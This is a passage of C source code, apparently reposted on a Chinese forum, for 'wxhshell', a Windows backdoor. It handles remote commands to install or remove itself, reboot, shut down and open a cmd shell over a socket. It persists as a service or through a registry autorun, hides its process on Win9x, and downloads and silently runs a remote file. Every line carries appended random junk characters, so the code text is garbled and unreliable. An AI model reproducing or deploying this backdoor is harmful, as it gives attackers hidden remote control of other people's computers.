  case '?': { :gM_v?sy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *5mJA -[B+  
    break; Wb#ON|.2  
  } ~p{ fl?  
  // 安装 Mk/ZEyq^  
  case 'i': { U]Fnf?(  
    if(Install()) Va$JfWef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s+9b.  
    else "y-/ 9C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tffdm  
    break; yK>s]65&  
    } >mMmc!u>G  
  // 卸载 V 9;O1  
  case 'r': { ;F:Qz^=.a  
    if(Uninstall()) ejpSbVJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bgs,6:  
    else \ccCrDz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r12e26_Ab  
    break; 2{01i)2y  
    } ;HmQRiCg  
  // 显示 wxhshell 所在路径 ^.>XDUO F  
  case 'p': { MC_i"P6a  
    char svExeFile[MAX_PATH]; eY\!}) 5  
    strcpy(svExeFile,"\n\r"); 5N[H@%>QO  
      strcat(svExeFile,ExeFile); ,-)ww:  
        send(wsh,svExeFile,strlen(svExeFile),0); P G*FIRDb  
    break; 9u1Fk'cxG,  
    } ui&^ m,  
  // 重启 w1)SuMFK_  
  case 'b': { .~%,eF;l$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q oWjC  
    if(Boot(REBOOT)) w/wU~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d[&Ah~,  
    else { kOV6O?h  
    closesocket(wsh); ;'oi7b  
    ExitThread(0); 84c[Z   
    } oN[# C>#(  
    break; y*j8OA.S  
    } 78O5$?b;#  
  // 关机 89fl\18%  
  case 'd': { 1-}$sO c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); trg&^{D<  
    if(Boot(SHUTDOWN)) /i IWt\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[N>T\  
    else { [zhcb+^5l  
    closesocket(wsh);  p/?TU  
    ExitThread(0); Iq(;?_  
    } =ve, !  
    break; B:tGD@  
    } n$jf($*  
  // 获取shell dMoN19F  
  case 's': { \\,z[C  
    CmdShell(wsh); 6N'HXL UlQ  
    closesocket(wsh); /[Sy;wn  
    ExitThread(0); !@@rO--&  
    break; Zq>}SR  
  } m NApFwZ  
  // 退出 `L?9-)m<f  
  case 'x': { -u%'u~s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !GBGC|avE  
    CloseIt(wsh); nuX W/7M  
    break; nwAx47>{  
    } me/ae{  
  // 离开 ^1NtvQe@Y\  
  case 'q': { # fl%~Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?u8 vK<2h  
    closesocket(wsh); N>_d {=P  
    WSACleanup(); YK|Y^TU^  
    exit(1); sTG e=}T8  
    break; 5zsXqBG  
        } QtsyMm  
  } O"x/O#66  
  } 1">]w2je:  
m 1lfC  
  // 提示信息 YP vg(T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y&_1U/}h  
} 9=Rj9%  
  } h\^> s$  
JPTVZ  
  return; D^H<)5d9  
} 1MzOHE  
me`( J y<  
// shell模块句柄 $[P>nRhW  
int CmdShell(SOCKET sock) JTg0T+  
{ 1eDc:!^SD  
STARTUPINFO si; rKys:is  
ZeroMemory(&si,sizeof(si)); :cK;|{f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /A) v $Bv=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a4M`Bk;mb  
PROCESS_INFORMATION ProcessInfo; R!.HS0i.  
char cmdline[]="cmd"; c~UYs\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^6 sT$set  
  return 0; _[W`!#"  
} 0\y@etb:mf  
3fJwj}wL  
// 自身启动模式 E5 0$y:  
int StartFromService(void) }AfK=1yOa  
{ N:@C% UW}  
typedef struct E0*'AZi&  
{ 4r [T pb  
  DWORD ExitStatus; <ST#< $%  
  DWORD PebBaseAddress; lYu1m  
  DWORD AffinityMask; ;DKwv}  
  DWORD BasePriority; !&Q3>8l  
  ULONG UniqueProcessId; $zBG19 [%  
  ULONG InheritedFromUniqueProcessId; \HOOWaapN  
}   PROCESS_BASIC_INFORMATION; E$[\Fk}S  
S:"t]gbF =  
PROCNTQSIP NtQueryInformationProcess; %.R_[.W  
eMvb*X6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; (+r)r_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b\w88=|  
:/IcFU~)M  
  HANDLE             hProcess; (&$|R\W.  
  PROCESS_BASIC_INFORMATION pbi; 1XO*yZF  
Mr(~ *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yn}_"FO'  
  if(NULL == hInst ) return 0; 9c=_p'G3Fw  
-$4%@Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WLWE%bDP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pstQithS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  G?]E6R  
O/\jkF  
  if (!NtQueryInformationProcess) return 0; ?fEX&t,'  
2eu`X2IBcT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [hS?d.D   
  if(!hProcess) return 0; QW f)5S  
Rh%/xG#k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aM9St!i  
_|Ml6;1aZ  
  CloseHandle(hProcess); L&'0d$Tg8  
VmkYl$WZo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6mBX{-Z[  
if(hProcess==NULL) return 0; WU1o4&OF  
K0\a+6kh  
HMODULE hMod; bhSpSul  
char procName[255]; z[S,hD\w  
unsigned long cbNeeded; \wNn c"  
Co19^g*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iEki<e/  
-i'T!Qg1  
  CloseHandle(hProcess); ZjEO$ ts=@  
G6eC.vU]j  
if(strstr(procName,"services")) return 1; // 以服务启动 xM;gF2  
asW1GZO  
  return 0; // 注册表启动 ) ZOmv  
} S_:(I^  
@6$r| :]G-  
// 主模块 -H`G6oMOO  
int StartWxhshell(LPSTR lpCmdLine) R\:C|/6f  
{ [ylGNuy  
  SOCKET wsl; VSZ6;&2^  
BOOL val=TRUE; RQ{w`> K  
  int port=0; _'H<zZo  
  struct sockaddr_in door; S53%*7K.  
["Q8`vV0WO  
  if(wscfg.ws_autoins) Install(); J5Fg]O*  
'{cN~A2b4  
port=atoi(lpCmdLine); dtM@iDljj  
%1VMwqC]E  
if(port<=0) port=wscfg.ws_port; MQY1he2M  
%T6#c7U_  
  WSADATA data; ''BP4=r5 n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >W'SG3Hmc  
+ZE&]BO{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d0 V>;Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :/%Vpdd@  
  door.sin_family = AF_INET; ^ MJGY,r6b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hCT%1R}rKr  
  door.sin_port = htons(port); #4//2N  
Uzb"$Ue4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M:`hb$k:  
closesocket(wsl); 4Ro(r sO  
return 1; BQS9q'u_  
} C3@.75-E  
F`I-G~e  
  if(listen(wsl,2) == INVALID_SOCKET) { r$v?[x>+K  
closesocket(wsl); [k'Ph33c  
return 1; ;wQWt_OtuJ  
} % C 3jxt  
  Wxhshell(wsl); :GK{ JP  
  WSACleanup(); `FJnR~d  
fr#lH3  
return 0; `8dE8:# Y  
Xp} vJl   
} ri JyH;)  
eN> (IW  
// 以NT服务方式启动 >>$IHz4Z"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LDBR4@V  
{ ){YPP!8cI  
DWORD   status = 0; Ix"c<1 I  
  DWORD   specificError = 0xfffffff; cZ!s/^o?f  
iQ9#gPk_9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uAjGR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <Z m ,q}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gv[7h'}<  
  serviceStatus.dwWin32ExitCode     = 0; l(]\[}.5  
  serviceStatus.dwServiceSpecificExitCode = 0; 5&X  
  serviceStatus.dwCheckPoint       = 0; Ve8!   
  serviceStatus.dwWaitHint       = 0; ==XP}w)m  
zt,-O7I'1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~&R_"mv(  
  if (hServiceStatusHandle==0) return; k9Sqp :l,  
q6Q=Zo@  
status = GetLastError(); |Lhz^5/  
  if (status!=NO_ERROR) oyr2lfz*  
{ |~HlNUPR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R NA03  
    serviceStatus.dwCheckPoint       = 0; amBz75N{  
    serviceStatus.dwWaitHint       = 0; :x{Q  
    serviceStatus.dwWin32ExitCode     = status; 68HX,t  
    serviceStatus.dwServiceSpecificExitCode = specificError; {-Y_8@&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kuH;AMdv  
    return; #`p>VXBj!  
  } GVl u4  
r0 X2cc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o`77gkLO  
  serviceStatus.dwCheckPoint       = 0; z'qVEHc)  
  serviceStatus.dwWaitHint       = 0; 7%E1F)%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GcU/   
} i `>X5Da5  
k( g$_ ]X  
// 处理NT服务事件,比如:启动、停止 7&At _l_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "q`%d_  
{ EkL\~^  
switch(fdwControl) nUd\4;J#  
{ *b)b#p  
case SERVICE_CONTROL_STOP: z$Nk\9wm  
  serviceStatus.dwWin32ExitCode = 0; kH&ZPAI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EORRSP,$2  
  serviceStatus.dwCheckPoint   = 0; uWWv`bI>x  
  serviceStatus.dwWaitHint     = 0; %7d"()L  
  { n21$57`4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c}QJ-I   
  } aqM_t  
  return; !n{c#HfG  
case SERVICE_CONTROL_PAUSE: ltrSTH,kL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `{wku@  
  break; kW!:bh  
case SERVICE_CONTROL_CONTINUE: =P#!>*\ar  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \a6)t%u  
  break; 9/$P_Q:3  
case SERVICE_CONTROL_INTERROGATE: zOE6;c8 1  
  break; Nb#7&_f=  
}; WsV3>=@f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) ,hj7  
} \Zv =?\  
dI !/:x  
// 标准应用程序主函数 v$i%>tQ\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Y|kX2l S@  
{ cik@QN<[0  
V[I<9xaE  
// 获取操作系统版本 -$)Et|  
OsIsNt=GetOsVer(); V`M,d~:Pr"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,xz^ k/.  
68c;Vb  
  // 从命令行安装 yy } 0_  
  if(strpbrk(lpCmdLine,"iI")) Install(); |d5L Ifb(  
2`I;f/S d  
  // 下载执行文件 1!`768  
if(wscfg.ws_downexe) { /a(zLHyz)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e\_6/j7'  
  WinExec(wscfg.ws_filenam,SW_HIDE); BP[U` !  
} .V3Dql@z"  
l1)pr{A  
if(!OsIsNt) { Qyjuzfmz  
// 如果时win9x,隐藏进程并且设置为注册表启动 N 9&@,3  
HideProc(); :b ;1P@W<  
StartWxhshell(lpCmdLine); CCY|FK  
} k@aP&Z~  
else ]'h)7  
  if(StartFromService()) #5C3S3e=  
  // 以服务方式启动 O|RO j  
  StartServiceCtrlDispatcher(DispatchTable); DjIswI1I  
else X{xJ*T y'  
  // 普通方式启动 ~|9LWp_  
  StartWxhshell(lpCmdLine); #Q@6:bBzv  
XC1lo4|  
return 0; erP>P  
}
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只看该作者 1 发表于: 2006-10-10
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